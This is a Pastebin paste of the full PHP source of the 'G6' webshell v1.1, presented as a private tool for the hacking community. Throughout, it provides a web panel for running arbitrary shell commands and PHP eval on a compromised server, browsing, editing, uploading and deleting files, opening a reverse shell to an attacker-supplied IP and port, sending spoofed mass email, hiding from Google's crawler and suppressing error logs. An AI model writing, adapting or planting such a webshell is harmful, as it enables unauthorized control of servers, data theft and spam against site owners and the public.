Guest User

G6 1.1

a guest
Jan 5th, 2013
1,067
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 25.87 KB | None | 0 0
  1. <!DOCTYPE html>
  2. <html>
  3. <!--
  4.     Version: 1.1 Beta
  5.  
  6.     G6 PHP webshell was coded by Mr. P-teo for the Hacking community.
  7.     G6 offers the following features:
  8.         - File Browsing
  9.         - File Editing
  10.         - File Upload
  11.         - Self Remove
  12.         - PHP code execution
  13.         - Server Information
  14.         - Password Hash Identifier
  15.         - Terminal
  16.         - Remote Back Connect
  17.         - Mass Mail
  18.    
  19.     Mass error with filemanager, will re-write at the week end.
  20.  
  21. -->
  22. <style stype="text/css">
  23. .flink{font-weight:normal;}
  24. body{background-color:#101010;  background:#101010;color:#f2f2f2;font-family:tahoma;font-size:12px;}
  25. body a{ color:#3467BA;font-weight:bold;text-decoration:none;}
  26. body a:hover{text-decoration:underline;}
  27. #main_content{border:1px solid #5C7296;overflow:hidden;width:1000px;height:auto;padding:15px;margin: 0 auto;background:#0A0A0A;border-radius:6px;-moz-border-radius:6px;-webkit-border-radius:6px;}
  28. .enabled{color:#7ACC29;}
  29. .enabled a{color:#7ACC29;font-weight:normal;}
  30. .disabled{color:#CC0000;}
  31. .execbox{width:250px;padding: 5px 15px 15px 15px;height:auto;border:solid 1px #47A3FF;background:#0A0A0A;}
  32. .viewsource{border:solid 1px #47A3FF;background:#0A0A0A;color:#f2f2f2;}
  33. .command{width:620px;border:solid 1px #47A3FF;outline:none;background:#0A0A0A;color:#f2f2f2;}
  34. .response{width:616px;color:green;height:300px;border-bottom:solid 1px #47A3FF;border-right:solid 1px #47A3FF;border-left:solid 1px #47A3FF;border-top:0;outline:none;background:#0A0A0A;color:#f2f2f2;margin:-4px 0px 0px 0px;}
  35. .TableHeader_Name{width:450px;padding:0px 0px 0px 5px;height:25px;font-weight:bold;font-family:verdana;background-color:#282828;border-top-left-radius:4px;-moz-border-top-left-radius:4px;-webkit-border-top-left-radius:4px;}
  36. .TableHeader{width:100px;height:25px;font-weight:bold;font-family:verdana;text-align:center;background-color:#282828;}
  37. .TableHeaderoptions{padding:0px 0px 0px 15px;width:170px;height:25px;font-weight:bold;font-family:verdana;background-color:#282828;border-top-right-radius:4px;-moz-border-top-right-radius:4px;-webkit-border-top-right-radius:4px;}
  38. .filesize{color:green;text-align:center;}
  39. .filenames a{font-weight:normal;text-decoration:none;}
  40. .filenames a:hover{text-decoration:underline;}
  41. tr{background-color: #080808;}
  42. tr:hover{background-color:#282828;}
  43. #options{font-weight:200;font-family:tahoma;margin-left:10px;display:block;}
  44. #title{font-size:25px;font-weight:bold;font-family:arial;display:block;padding:15px 0px 0px 0px;}
  45. .Logo{font-size:150px;text-align:center;color:#101010;}
  46. .logotext{font-size:20px;text-align:center;color:#101010;}
  47. .terminaltop{background-color:#686868;margin:-10px 0px -3px 0px;width:622px;height:20px;border-top-right-radius:5px;-moz-border-top-right-radius:5px;-webkit-border-top-right-radius:5px;border-top-left-radius:5px;-moz-border-top-left-radius:5px;-webkit-border-top-left-radius:5px;}
  48. .TableHeaderoptions2{padding:0px 0px 0px 15px;width:170px;height:25px;font-weight:bold;font-family:verdana;background-color:#282828;border-top-right-radius:4px;-moz-border-top-right-radius:4px;-webkit-border-top-right-radius:4px;}
  49. .box{padding:10px;background-color:#292929;border:1px solid #3467BA;height:auto;width:970;border-radius:6px;-moz-border-radius:6px;-webkit-border-radius:6px;}
  50. .box2{padding:5px;background-color:#000000;height:auto;width:970;border-radius:6px;-moz-border-radius:6px;-webkit-border-radius:6px;}
  51. .optionstr td{background-color:#0A0A0A;}
  52. .optionstr td:hover{background-color:#0A0A0A;}
  53. .chdir{background-color:#010101;color:#f2f2f2;border:1px solid #3467BA;outline:none;font-size:11px;border-radius:3px;-moz-border-radius:3px;-webkit-border-radius:3px;padding:2px 3px;margin:0 0 0 -1px;}
  54. .godir{margin:0px 10px 0px -5px;background-color:#292929;color:#f2f2f2;border:1px solid #3467BA;outline:none;font-size:11px;width:24px;border-top-right-radius:4px;-moz-border-top-right-radius:4px;-webkit-border-top-right-radius:4px;border-bottom-right-radius:4px;-moz-border-bottom-right-radius:4px;-webkit-border-bottom-right-radius:4px;}
  55. </style>
  56. <body>
  57.     <div id="main_content">
  58. <?php
  59. ob_start();
  60. ini_set('display_errors', false);
  61. ini_set('memory_limit', '-1');
  62.  
  63. if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) { header('HTTP/1.0 404 Not Found'); exit; }
  64.  
  65. @ini_set('error_log',NULL);
  66. @ini_set('log_errors',0);
  67. @ini_set('max_execution_time',0);
  68. echo "<title>G6 Shell v1.1 - Private .::Made By Mr. P-teo::.</title>";
  69.  
  70. function get_srv_info(){
  71.  
  72.     echo "<br /><span id='title'>G6 Shell v1.1 - Private</span><br /><div class='box'><b>Server Name: </b>".$_SERVER["SERVER_NAME"]."<br />
  73.     <b>Server IP: </b>".$_SERVER["SERVER_ADDR"]." <span class='enabled'><a href='http://www.who.is/whois/".$_SERVER['HTTP_HOST']."' target='_blank'>[WHOIS]</a> - <a href='http://www.dnsstuff.com/tools?runFromMain=".$_SERVER["SERVER_ADDR"]."&toolType=traceroute' target='_blank'>[TRACEROUTE]</a></span><br />".
  74.     "<b>Shell Location: </b>".$_SERVER["SCRIPT_FILENAME"]."<br />
  75.     <b>Server Software: </b>".$_SERVER["SERVER_SOFTWARE"]." <span class='enabled'><a href='http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description=".$_SERVER['SERVER_SOFTWARE']."&filter_exploit_text=&filter_author=&filter_platform=0&filter_type=0&filter_lang_id=0&filter_port=&filter_osvdb=&filter_cve=' target='_blank'>[Exploit DB]</a></span><br />
  76.     </div><br /><br /><p></p>";
  77. }
  78.  
  79. function cmd(){
  80.     $disabled = explode(', ', ini_get('disable_functions'));
  81.     $diabledLower = array();
  82.     foreach($diabled as $function){$diabledLower[] = strtolower($function);}
  83.     if(!in_array($diabledLower, "exec")){return "exec"; }elseif(!in_array($diabledLower, "passthru")){return "passthru";}elseif(!in_array($diabledLower, "system")){return "system";}else{return "none";}}
  84.     $shellVersion = "1.1";
  85.  
  86. $upload = $_GET['dXBsb2Fk'];
  87. $downloadfilename = $_GET['ZG93bg'];
  88. $delete = $_GET['delete'];
  89. $file_explorer = $_GET['ZmlsZV9leHBsb3Jlcg'];
  90. $mkdir = $_GET['bWtkaXI'];
  91. $currentDirectoryFileDl = $_GET['downlfile'];
  92. $NavLinks = array(
  93.     array(
  94.         "name" => "Main",
  95.         "url" => "?"
  96.     ),
  97.     array(
  98.         "name" => "Server Information",
  99.         "url" => "?c3J2aW5mbw="
  100.     ),
  101.     array(
  102.         "name" => "File Explorer",
  103.         "url" => "?ZmlsZV9leHBsb3Jlcg=".dirname(__FILE__)."/"
  104.     ),
  105.     array(
  106.         "name" => "Terminal",
  107.         "url" => "?dGVybWlhbmw"
  108.     ),
  109.     array(
  110.         "name" => "Hash Identifier",
  111.         "url" => "?aGk="
  112.     ),
  113.     array(
  114.         "name" => "PHP Exec",
  115.         "url" => "?eval"
  116.     ),
  117.     array(
  118.         "name" => "Back Connect",
  119.         "url" => "?YmNrbmV0="
  120.     ),
  121.     array(
  122.         "name" => "Mass Mailer",
  123.         "url" => "?kueqymass"
  124.     ),
  125.     array(
  126.         "name" => "Shell-101",
  127.         "url" => "?a253aXN1ZQ"
  128.     ),
  129.     array(
  130.         "name" => "Self Remove",
  131.         "url" => "?srmve"
  132.     )
  133. );
  134. $CurrentUrl = "http://".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
  135. $last = count($NavLinks) - 1;
  136. foreach($NavLinks as $NavLink => $NavRow){
  137.     $linknames = ($NavLink == 0);
  138.     $linkurls = ($NavLink == $last);
  139.     echo '<a href="'.$NavRow['url'].'">'.$NavRow['name'].'</a> / ';
  140. }
  141. if(strstr($CurrentUrl, "readfile")){
  142.         $sourcefile = $_REQUEST['readfile'];
  143.         if(is_file($sourcefile)){
  144.         get_srv_info();
  145.         if(isset($sourcefile))
  146.         {
  147.             $Finalsource = file_get_contents($sourcefile);     
  148.  
  149.         echo "<strong>Editing: </strong>".$sourcefile."<br /><br /><a href='".$_SERVER['HTTP_REFERER']."'>&laquo; Back to files</a><br /><form action='' method='POST'><textarea name='sourcecode' class='viewsource' rows='20' cols='121'>".htmlentities($Finalsource)."</textarea><br /><input type='Submit' value='Save File' name='save' /></form>";
  150.         }
  151.         }else{
  152.             echo "Data not sent.";
  153.         }
  154.         if(isset($_POST['save'])){
  155.             $new_source = $_POST['sourcecode'];
  156.             $source_edit = fopen($sourcefile, 'w');
  157.             fwrite($source_edit, $new_source);
  158.             fclose($source_edit);
  159.         }
  160. }elseif(strstr($CurrentUrl, "aGk")){
  161.     get_srv_info();
  162.     echo "<p>G6 hash identifier is able to identify MD5, SHA-1, MySQL5, DES(Unix), SHA-256, SHA-384, SHA-512, MD5(Unix), MD5(APR), MD5(phpBB3), MD5(Wordpress), SHA-256(Unix), SHA-512(Unix) and MD5(Base-64).</p>";
  163.     if(isset($_POST['gethash'])){
  164.         $hash = $_POST['hash'];
  165.         if(strlen($hash)==32){
  166.             $hashresult == "MD5 Hash";
  167.         }elseif(strlen($hash)==40){
  168.             $hashresult = "SHA-1 Hash/ /MySQL5 Hash";
  169.         }elseif(strlen($hash)==13){
  170.             $hashresult = "DES(Unix) Hash";
  171.         }elseif(strlen($hash)==16){
  172.             $hashresult = "MySQL Hash / /DES(Oracle Hash)";
  173.         }elseif(strlen($hash)==41){
  174.             $GetHashChar = substr($hash, 40);
  175.             if($GetHashChar == "*"){
  176.                 $hashresult = "MySQL5 Hash";
  177.             }  
  178.         }elseif(strlen($hash)==64){
  179.             $hashresult = "SHA-256 Hash";
  180.         }elseif(strlen($hash)==96){
  181.             $hashresult = "SHA-384 Hash";
  182.         }elseif(strlen($hash)==128){
  183.             $hashresult = "SHA-512 Hash";
  184.         }elseif(strlen($hash)==34){
  185.             if(strstr($hash, '$1$')){
  186.                 $hashresult = "MD5(Unix) Hash";
  187.             }  
  188.         }elseif(strlen($hash)==37){
  189.             if(strstr($hash, '$apr1$')){
  190.                 $hashresult = "MD5(APR) Hash";
  191.             }  
  192.         }elseif(strlen($hash)==34){
  193.             if(strstr($hash, '$H$')){
  194.                 $hashresult = "MD5(phpBB3) Hash";
  195.             }  
  196.         }elseif(strlen($hash)==34){
  197.             if(strstr($hash, '$P$')){
  198.                 $hashresult = "MD5(Wordpress) Hash";
  199.             }  
  200.         }elseif(strlen($hash)==39){
  201.             if(strstr($hash, '$5$')){
  202.                 $hashresult = "SHA-256(Unix) Hash";
  203.             }  
  204.         }elseif(strlen($hash)==39){
  205.             if(strstr($hash, '$6$')){
  206.                 $hashresult = "SHA-512(Unix) Hash";
  207.             }  
  208.         }elseif(strlen($hash)==24){
  209.             if(strstr($hash, '==')){
  210.                 $hashresult = "MD5(Base-64) Hash";
  211.             }  
  212.         }else{
  213.             $hashresult = "Hash type not found";
  214.         }
  215.     }else{
  216.         $hashresult = "Not Hash Entered";
  217.     }
  218.     ?>
  219.     <center>
  220.         <form action="" method="POST"><table><tr class="optionstr"><td>Enter Hash:</td> <td><input type="text" name="hash" class="command" /></td><td><input type="submit" name="gethash" value="Identify Hash" /></td></tr><tr class="optionstr"><td>Result: </td><td><?php echo $hashresult; ?></td></tr></table></form>
  221.     </center>
  222.    
  223.     <?php
  224.  
  225. }elseif(strstr($CurrentUrl, "YmNrbmV0")){
  226.     get_srv_info();
  227.     echo '
  228. <div id="back">
  229.            <h2>Back Connect</h2>
  230.            <p>Back connect will allow you to enter system commands remotely.</p>
  231.            <p>
  232.            <table>
  233.                 <form action="" method="post">
  234.                 <tr class="optionstr"><td>IP Address: </td><td><input type="textbox" name="ip" style="border:1px solid #5C7296; color: #5C7296;background-color:#1d1d1d;font-size:13px;"></td></tr>
  235.                 <tr class="optionstr"><td>Port: </td><td><input type="textbox" name="port" style="border:1px solid #5C7296; color: #5C7296;background-color:#1d1d1d;font-size:13px;"></td></tr>
  236.                 <tr class="optionstr"><td><input type="submit" name="bind" value="Open Connection" style="border:1px solid #5C7296; color: #5C7296;background-color:#1d1d1d;font-size:13px;"></td></tr>
  237.                 </form>
  238.                 </table>';
  239.                 if(isset($_POST['bind']))
  240.                     {
  241.                         echo "<p>Attempting Connection...</p>";
  242.                         $ip = $_POST['ip'];
  243.                         $port= $_POST['port'];
  244.                         $sockfd=fsockopen($ip , $port , $errno, $errstr );
  245.                         if($errno != 0){echo "<font color='red'><b>$errno</b> : $errstr</font>";}else if (!$sockfd) {$result = "<p>Unexpected error has occured, connection may have failed.</p>";} else {fputs ($sockfd ,"\n{################################################################}\n..:: G6 W3b Sh3ll v1.1- Coded By Mr. P-teo ::..\n\n=> Backconnect \n=> Back    \n
  246.                              \n{################################################################}"); $pwd = shell_exec("pwd"); $sysinfo = shell_exec("uname -a"); $time = Shell_exec("time"); $len = 1337; fputs($sockfd, "User ", $sysinfo, "connected @ ", $time, "\n\n"); while(!feof($sockfd)){ $cmdPrompt = '[G6]#:> ';fputs ($sockfd , $cmdPrompt );$command= fgets($sockfd, $len);
  247.                             fputs($sockfd , "\n" . shell_exec($command) . "\n\n"); } fclose($sockfd);}}
  248.         echo "</p></div>";
  249.  
  250. }elseif(strstr($CurrentUrl, "bWtmbA")){
  251.     get_srv_info();
  252.     echo "<p>If no file path is included it will be created within the same directory as the shell.</p><form action='' method='post'><p>Filename: <input type='text' name='newfilename' /></p><p><input type='submit' value='Create File' name='create' /></p></form>";
  253.         $newfilename = htmlentities($_POST['newfilename']);
  254.     if(isset($_POST['create'])){$ourFileName = $newfilename;$ourFileHandle = fopen($ourFileName, 'w') or die("can't open file");fclose($ourFileHandle);}
  255.     echo "<br /><br />";
  256. }elseif(strstr($CurrentUrl, "bWtkaXI")){
  257.     get_srv_info();
  258.     echo "<p>If no file path is included directory will be created within the same directory as the shell.</p>
  259.         <form action='' method='post'>
  260.         <p>Directory Name: <input type='text' name='newdirname' /></p>
  261.         <p><input type='submit' value='Create New Directory' name='createdir' /></p>
  262.         </form>";
  263.     $newdirname = htmlentities($_POST['newdirname']);
  264.     if(isset($_POST['createdir'])){
  265.         $ourdirName = $newdirname;
  266.         mkdir($ourdirName, 0777);
  267.         echo "Directory Created!";
  268.     }
  269.     echo "
  270.         <br /><br />";
  271. }elseif(strstr($CurrentUrl, "ZmlsZV9leHBsb3Jlcg")){
  272.         get_srv_info();
  273.         $upload = $file_explorer;
  274.         echo '<p><form action="" method="POST"><table><tr class="optionstr"><td><input class="chdir" type="text" name="chdir" value="'.$file_explorer.'"" /></td><td></td></form><td><div id="options"><a href="'.$CurrentUrl.'">Refresh Files</a></div></td><td><div id="options"><!--<a href="?bWtkaXI='.$file_explorer.'">Make Directory</a> | <a href="?bWtmbA='.$file_explorer.'">Make File</a> | <a href="?dXBsb2Fk='.$upload.'">Upload</a></div>--></td></tr>';
  275.         if(isset($_POST['godir'])){$mandircha = $_POST['chdir'];if($mandircha){ header("Location: ?ZmlsZV9leHBsb3Jlcg=".$_POST['chdir']);}}
  276.     ?>
  277.     </div></p>
  278.             <table class="FileBrowserTable"><tr><td class="TableHeader_Name"> FileName's</td><td class="TableHeader">Filetype</a></td><td class="TableHeader">Size</td><td class="TableHeader">Permisions</td><td class="TableHeader">Last Modified</td><td class="TableHeaderoptions"> Options</td></tr>
  279.         <?php
  280.  
  281.         $Shell_Directory = $_SERVER['REMOTE_DIR'];
  282.             //load files...    
  283.  
  284.         function GetFileType($file){
  285.             if(!is_dir($file)){
  286.                 if(strstr($file, ".")){
  287.                     $FileExt = end(explode(".", $file));
  288.                     return $FileExt;
  289.                 }else{
  290.                     return "Directory";
  291.                 }
  292.             }else{
  293.                 $Directory = "Directory";
  294.                 return $Directory;
  295.             }
  296.         }
  297.  
  298.        
  299.  
  300.  
  301. function GetFileSize($file){
  302.     if(!is_dir($file))
  303.         return round(filesize($file) / 1024, 2) . " Kb";
  304.     else
  305.         return "Not Availible";
  306. }
  307.  
  308. function LastModified($file){
  309.         return  "<center>".date("m/d/y", filemtime($file))."</center>";
  310. }
  311.  
  312. function permissions($file){
  313.     if(is_readable($file)){
  314.         $readable = "r";
  315.     }else{
  316.         $readable = "?";
  317.     }
  318.     if(is_writable($file)){
  319.         $writable = "w";
  320.     }else{
  321.         $writable = "?";
  322.     }
  323.     if(is_executable($file)){
  324.         $executable = "x";
  325.     }else{
  326.         $executable = "?";
  327.     }
  328.  
  329.  
  330. if($readable."--".$writable."--".$executable == "r--w--x"){
  331.     return "<center style='color:#f1f1f1;'>".$readable."--".$writable."--".$executable."</center>";
  332. }else{
  333.     return "<center>".$readable."--".$writable."--".$executable."</center>";
  334. }
  335. }
  336.  
  337.         $Files = scandir($file_explorer);
  338.     foreach($Files as $File){
  339.         if($File == ".."){
  340.             $currentDirectory = $_GET['ZmlsZV9leHBsb3Jlcg'];
  341.             //Up a directory
  342.             $currentDirectory = substr($currentDirectory, 0, strrpos($currentDirectory, "/"));
  343.             echo "<tr><td><a href='?ZmlsZV9leHBsb3Jlcg=" .$currentDirectory. "'>" . $File . "</a></td><td></td><td></td><td></td><td></td><td></td></tr>";
  344.  
  345.         }elseif($File == "."){
  346.             //Same as current Dir, no need for this...
  347.  
  348.         }else{
  349.             $currentDirectory = $_GET['ZmlsZV9leHBsb3Jlcg'];
  350.             $type = GetFileType($currentDirectory. "/" .$File);
  351.             if($type == "Directory"){
  352.                 echo "<tr><td><a class='flink' title='Explore Directory' href='?ZmlsZV9leHBsb3Jlcg=" .$currentDirectory. "/" .$File. "'>" . $File . "/</a></td><td><center>" . $type . "</center></td><td class='filesize'>" . GetFileSize($currentDirectory. "/" .$File) . "</td><td style='color:red;'>".permissions($currentDirectory. "/" .$File)."</td><td>" . LastModified($currentDirectory. "/" .$File) . "</td><td>Not Availible</td></tr>";
  353.             }else{
  354.                 echo "<tr><td><a class='flink' title='Edit File' href='?readfile=" .$currentDirectory. "/" .$File. "'>" . $File . "</a></td><td><center>" . $type . "</center></td><td class='filesize'>" . GetFileSize($currentDirectory. "/" .$File) . "</td><td style='color:red;'>".permissions($currentDirectory. "/" .$File)."</td><td>" . LastModified($currentDirectory. "/" .$File) . "</td><td><a href='?readfile=" .$currentDirectory. "/" .$File. "' title='Edit File'>E</a> - <a href='?delete=" .$currentDirectory. "/" .$File. "' title='Bin the Document'>B</a> - <a href='?downlfile=".$currentDirectory. "/" .$File."&file=".$File."' title='Download File'>D</a></td></tr>";
  355.             }
  356.         }
  357.     }
  358.        
  359. ?>
  360. </table>
  361. <div style="background:#282828;border-bottom-right-radius:4px;-moz-border-bottom-right-radius:4px;-webkit-border-bottom-right-radius:4px;border-bottom-left-radius:4px;-moz-border-bottom-left-radius:4px;-webkit-border-bottom-left-radius:4px;height:25px;margin:0px 0px 10px 0px;width:1000px;" ></div>
  362.     <div style="padding:10px;background-color: #292929;border: 1px solid #3467BA;border-radius: 6px;-moz-border-radius: 6px;-webkit-border-radius: 6px;width:220px;float:left;margin:10px 10px 15px 0px;">
  363.     <h4>File Upload</h4><form action="" method="post" enctype="multipart/form-data"><input type="file" name="file" /><br /><input type="submit" name="upload" value="Upload File" /></form></div>
  364.     <?php
  365.     if(isset($_POST['upload'])){if(isset($_FILES['file'])){ move_uploaded_file($_FILES["file"]["tmp_name"], $file_explorer."/". $_FILES["file"]["name"]);echo '<script>alert("File successfully uploaded, enjoy.");</script>';} }
  366.     ?>
  367.     <div style="padding:10px;background-color: #292929;border: 1px solid #3467BA;border-radius: 6px;-moz-border-radius: 6px;-webkit-border-radius: 6px;width:220px;float:left;margin:10px 10px 15px 0px;">
  368.     <h4>Create Directory</h4>
  369.     <form action="" method="post"><input type="text" name="dirname" /><br /><input type="submit" name="createdir" value="Create Dir" /></form></div>
  370.     <?php
  371.         if(isset($_POST['createdir'])){if(strlen($_POST['dirname']) > 0){mkdir($file_explorer."/".$_POST['dirname'], 777) or die($file_explorer."/".$_POST['dirname']);}}
  372.     ?>
  373.         <br /><br /><br />
  374. <?php
  375.  
  376.        
  377. }elseif(strstr($CurrentUrl, "downlfile")){
  378.             /*$type = mime_content_type($currentDirectoryFileDl);
  379.             header('Content-Type: '.$type);
  380.             header('Content-Disposition: attachment; filename="'.$currentDirectoryFileDl.'"');*/
  381.             $file = $_GET['file'];
  382.             // header('Content-Type: application/force-download'); Non-standard MIME-Type, incompatible with Samsung C3050 for example. Let it commented
  383.             //readfile($currentDirectoryFileDl);
  384.             forceDL($currentDirectoryFileDl, $file);
  385.             /*
  386.      * forceDL
  387.      *
  388.      * Forces the browser to download file
  389.      *
  390.      * @param string $filePath Path to the selected download
  391.      * @param string $fileName Name of file to be saved, can be anything honestly
  392.      */
  393.     function forceDL($filePath, $fileName) {
  394.         /* Rquired for IE */
  395.         if(ini_get('zlib.output_compression')) { ini_set('zlib.output_compression', 'Off');  }
  396.        
  397.         /*
  398.         Files not downloading with correct headers?
  399.         1) Open file in Notepad++ (or similar) and check for white-space or other code (php code)
  400.         2) Extra code?
  401.         3) Problem found.
  402.         4) Profit
  403.         Should answer most questions
  404.         */
  405.        
  406.         /* Headers */
  407.         header('Pragma: public');
  408.         header('Expires: 0');
  409.         header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
  410.         header('Last-Modified: ' . gmdate('D, d M Y H:i:s', filemtime($filePath)).' GMT');
  411.         header('Cache-Control: private', false);
  412.         header('Content-Type: application/force-download');
  413.         header('Content-disposition: attachment; filename="' . $fileName . '"');
  414.         header('Content-Transfer-Encoding: binary');
  415.         header('Content-length: ' . filesize($filePath));
  416.         readfile($filePath);
  417.         echo $filePath.$fileName;
  418.         exit();
  419.     }
  420.  
  421. }elseif(strstr($CurrentUrl, "kueqymass")){
  422.     get_srv_info();
  423.     ?>
  424.         <strong>Mass Mailer</strong>
  425.         <p>Be warned using the mass mailing feature may attract attention to your G6 shell. Seperate each email with <strong>;</strong></p>
  426.         <form action="" method="post">
  427.             <table><tr><td>To Email(s): </td><td><input type="text" style="background-color:#010101;color:#f2f2f2;border:1px solid #3467BA;outline:none;font-size:11px;border-radius:3px;-moz-border-radius:3px;-webkit-border-radius:3px;padding:2px 3px;margin:0 0 0 -1px; width:220px;" name="email" placeholder="email@address.com" /></tr><tr><td>Subject: </td>   <td><input type="text" style="background-color:#010101;color:#f2f2f2;border:1px solid #3467BA;outline:none;font-size:11px;border-radius:3px;-moz-border-radius:3px;-webkit-border-radius:3px;padding:2px 3px;margin:0 0 0 -1px;width:220px" name="subject" /></td></tr><tr><td>From Email: </td><td><input type="email" style="background-color:#010101;color:#f2f2f2;border:1px solid #3467BA;outline:none;font-size:11px;border-radius:3px;-moz-border-radius:3px;-webkit-border-radius:3px;padding:2px 3px;margin:0 0 0 -1px;width:220px;" name="fromEmail" placeholder="example@google.com" /></td></tr><tr><td>Message: </td><td></td></tr></table><table><tr><td><textarea style="background-color:#010101;color:#f2f2f2;border:1px solid #3467BA;outline:none;font-size:11px;border-radius:3px;-moz-border-radius:3px;-webkit-border-radius:3px;padding:2px 3px;margin:0 0 0 -1px; height:200px;width:290px;" name="message"></textarea></td></tr><tr><td><input type="submit" name="send" value="Send Message(s)" /></td></tr></table></form>
  428.             <?php
  429.     if(isset($_POST['send'])){ $email = $_POST['email'];$subject = $_POST['subject'];$from = $_POST['fromEmail'];$message = $_POST['message'];if($email&&$subject&&$from&&$message){$emails = explode(";", $email);foreach($emails as $email){mail($email, $subject, $message, "From: ".$from); }}}
  430. }elseif(strstr($CurrentUrl, "delete")){
  431.     if(!is_dir($delete)){unlink($delete);}else{rmdir($delete);}
  432.         header("Location: ".$_SERVER['HTTP_REFERER']);
  433. }elseif(strstr($CurrentUrl, "c3J2aW5mbw")){
  434.     get_srv_info();
  435.   $s_safemode = ini_get("safe_mode");
  436.   if($s_safemode = TRUE){$s_safemode = "<span class='enabled'>[ON";}else{$s_safemode = "<span class='disabled'>[OFF"; }
  437.   if(extension_loaded('curl')){$curls="<span class='enabled'>[ON]</span>";}else{$curls="<span class='disabled'>[OFF]</span>";}
  438.     echo "<b>Server Port: </b>".$_SERVER['SERVER_PORT']."<br /><br /><b>HTTP Connection: </b>".$_SERVER['HTTP_CONNECTION']."<br /><br /><b>Operating System:</b> ".php_uname()."<br /><br />";
  439.     if(get_magic_quotes_gpc()){echo "<b>Magic Quotes:</b> <span class='enabled'>[ENABLED]</span><br /><br />";}else{echo "<b>Magic Quotes:</b> <span class='disabled'>[DISABLED]</span><br /><br />";}
  440.     echo "<b>PHP Version:</b> ".phpversion()."<br /><br /><b>Safe Mode: </b>".$s_safemode."]</span><br /><br /><b>Curl: </b>".$curls."<br /><br /><b>Accept Encoding: </b> ".$_SERVER['HTTP_ACCEPT_ENCODING']."<br /><br /><b>Admin: </b>".$_SERVER['SERVER_ADMIN']."<br /><br /><strong>Disabled Functions: </strong>";
  441.     if(!empty($disabled)){
  442.     foreach($disabled as $functionsdis){
  443.         echo $functionsdis.", ";
  444.     }
  445.     }else{
  446.         echo "none";
  447.     }
  448.     echo "<br /><br /><strong>/etc/passwd: </strong>";
  449.     if(is_readable("/home/etc/passwd")){
  450.         echo "<span style='color:green;'>Readable</span>";
  451.     }else{
  452.         echo "<span style='color:red;'>Unreadable</span>";
  453.     }
  454. }elseif(strstr($CurrentUrl, "dGVybWlhbmw")){
  455.    
  456.     get_srv_info();
  457.     ?>
  458.         <p>Command line execution via exec, passthru or system.</p>
  459.        
  460.         <form action="" method="post"><table><tr><td><b>Command Execution: </b></td><td><input type="text" placeholder="root~$ " autocomplete="off" name="command" class="command"/></td></tr></table>
  461.     <?php
  462.         $out = array();
  463.         if(cmd()=="exec"){
  464.             echo "Using: exec => ";
  465.             exec($_POST['command'], $out);
  466.             foreach ($out as $line) {
  467.                 echo "$line\n";
  468.             }
  469.         }elseif (cmd()=="passthru") {  
  470.  
  471.             echo "Using: passthru => ";        
  472.             passthru($_POST['command'], $out);
  473.             foreach ($out as $line) {
  474.                 echo "$line\n";
  475.             }
  476.         }elseif(cmd()=="system"){
  477.             echo "Using: system => ";
  478.             system($_POST['command'], $out);
  479.             foreach ($out as $line) {
  480.                 echo "$line\n";
  481.             }
  482.         }
  483. }elseif(strstr($CurrentUrl, "a253aXN1ZQ")){
  484.     get_srv_info();
  485.     echo "
  486.         <h4>Information</h4>
  487.         <p>G6 Shell v".$shellVersion." Open Beta Edition - coded by Mr. P-teo, below are the known issues and bugs.</p>";
  488.  
  489.         ?>
  490.         <ul>
  491.             <li>is_dir function not returning correct result within child dirs of the file browser.</li>
  492.             <li>File Browser controls, e.g. rename, create file, delete full dir.</li>
  493.             <li>Editing can run into trouble with GET Method Not Implemented error.</li>
  494.         </ul>
  495.         <br /><br />
  496.     <?php
  497. }elseif(strstr($CurrentUrl, "?eval")){
  498.     get_srv_info();
  499.     ?>
  500.     <div style="float:left;width:700px;">
  501.     <h4>Eval (PHP code execution)</h4>
  502.     <form action="" method="post">
  503.         <textarea name="phpeval" style="width:700px;height:190px;padding:5px;background:#CCCCCC;">//Example, get all PHP info about the server
  504.  
  505. echo phpinfo();</textarea><br />
  506.         <input style="padding:4px 10px;margin:10px 0px;" name="evalexecute" value="Execute Code" type="submit"/>
  507.     </form>
  508.     </div>
  509.     <div style="float:right;width:250px;">
  510.         <h4>Information</h4>
  511.         <p>Enter your specified php code within the textarea and wait for the response.</p>
  512.         <p><strong>Example: </strong><i>echo phpinfo();</i></p><br /><br />
  513.         <h4>Warning</h4>
  514.         <p>including external files with seperate stylesheets may affect the apearence of G6 styles.</p>
  515.     </div>
  516.     <?php
  517.         if(isset($_POST['evalexecute'])){
  518.             eval($_POST['phpeval']);
  519.         }
  520. }elseif(strstr($CurrentUrl, "?srmve")){
  521.         get_srv_info();
  522.     ?>
  523.     <p>If you are sure you wish to remove the shell click the button below, make sure you are certain as you wil only have one shot at this.</p>
  524.     <form action="" method="post">
  525.         <center><input style="padding:7px 15px;margin:10px 0px;" name="Remove" value="Remove Shell" type="submit"/></center>
  526.     </form>
  527.     <?php
  528.     if(isset($_POST['Remove'])){
  529.         if(file_exists(__FILE__)){
  530.             unlink(__FILE__);
  531.         }
  532.     }
  533. }else{
  534.     get_srv_info();
  535.  
  536. ?>
  537.     <br /><br /><br /><br /><div class='Logo'>G6 v<?php echo $shellVersion; ?></div><div class='logotext'>Private Shell Coded By Mr. P-teo</div><br /><br /><br />
  538.     <?php
  539. }
  540. ob_flush();
  541. ?>
  542. </div>
  543. <body>
  544. </html>
Add Comment
Please, Sign In to add comment